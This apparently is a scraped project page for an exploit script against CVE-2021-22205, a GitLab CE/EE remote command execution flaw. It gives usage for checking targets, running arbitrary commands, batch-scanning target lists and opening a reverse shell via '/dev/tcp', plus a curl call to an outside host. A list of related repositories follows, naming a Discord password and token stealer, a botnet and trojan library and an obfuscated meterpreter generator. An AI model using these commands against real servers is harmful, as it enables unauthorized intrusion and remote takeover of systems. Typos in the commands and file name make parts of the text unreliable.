CVE-2021-22205& GitLab CE/EE RCE

Vuln Impact

An issue has been discovered in GitLab CE/EE affecting all versions starting from 11.9. GitLab was not properly validating image files that were passed to a file parser which resulted in a remote command execution.

Vuln Product

Gitlab CE/EE < 13.10.3
Gitlab CE/EE < 13.9.6
Gitlab CE/EE < 13.8.8

Environment

export GITLAB_HOME=/srv/gitlab

sudo docker run --detach \
  --hostname gitlab.example.com \
  --publish 443:443 --publish 80:80 \
  --name gitlab \
  --restart always \
  --volume $GITLAB_HOME/config:/etc/gitlab \
  --volume $GITLAB_HOME/logs:/var/log/gitlab \
  --volume $GITLAB_HOME/data:/var/opt/gitlab \
  gitlab/gitlab-ce:13.9.1-ce.0

Vunl Check

Basic usage

python3 CVE-2021-2205.py

Vuln check

python3 CVE-2021-2205.py -v true -t http://gitlab.example.com

command execute

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "curl http://192.168.59.1:1234/1.txt"

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'Attacked by Al1ex!!!' > /tmp/1.txt"

batch scan

python3 CVE-2021-2205.py -s true -f target.txt

Reserve Shell

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "echo 'bash -i >& /dev/tcp/ip/port 0>&1' > /tmp/1.sh"

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "chmod +x /tmp/1.sh"

python3 CVE-2021-2205.py -a true -t http://gitlab.example.com -c "/bin/bahs /tmp/1.sh"

Reference

https://github.com/mr-r3bot/Gitlab-CVE-2021-22205

https://devcraft.io/2021/05/04/exiftool-arbitrary-code-execution-cve-2021-22204.html

CVE-2021-22205& GitLab CE/EE RCE

Related tags

Overview

Vuln Impact

Vuln Product

Environment

Vunl Check

Basic usage

Vuln check

command execute

batch scan

Reserve Shell

Reference

Owner

Al1ex

Cobalt Strike Beacon configuration extractor and parser.

This is a Cryptographied Password Manager, a tool for storing Passwords in a Secure way

DNSpooq - dnsmasq cache poisoning (CVE-2020-25686, CVE-2020-25684, CVE-2020-25685)

SeaSurf is a Flask extension for preventing cross-site request forgery (CSRF).

A Docker based LDAP RCE exploit demo for CVE-2021-44228 Log4Shell

A hack for writing switch statements with type annotations in Python.

This is python script that will extract the functions call in all used DLL in an executable and then provide a mapping of those functions to the attack classes defined and curated malapi.io.

Instagram brute force tool that uses tor as its proxy connections

This repository will contain python scripts for hackers and pentesters

pybotnet - A Python Library for building Botnet , Trojan or BackDoor for windows and linux with Telegram control panel

A curated list of amazingly awesome Cybersecurity datasets

The Multi-Tool Web Vulnerability Scanner.

Yara Based Detection Engine for web browsers

Log4j2 intranet scan

Generate obfuscated meterpreter shells

A secure password generator written in python

This repository detects a system vulnerable to CVE-2022-21907 and protects against this vulnerability if desired

A fully automated, accurate, and extensive scanner for finding vulnerable log4j hosts

A guide to building basic malware in Python by implementing a keylogger application

Malware for Discord, designed to steal passwords, tokens, and inject discord folders for long-term use.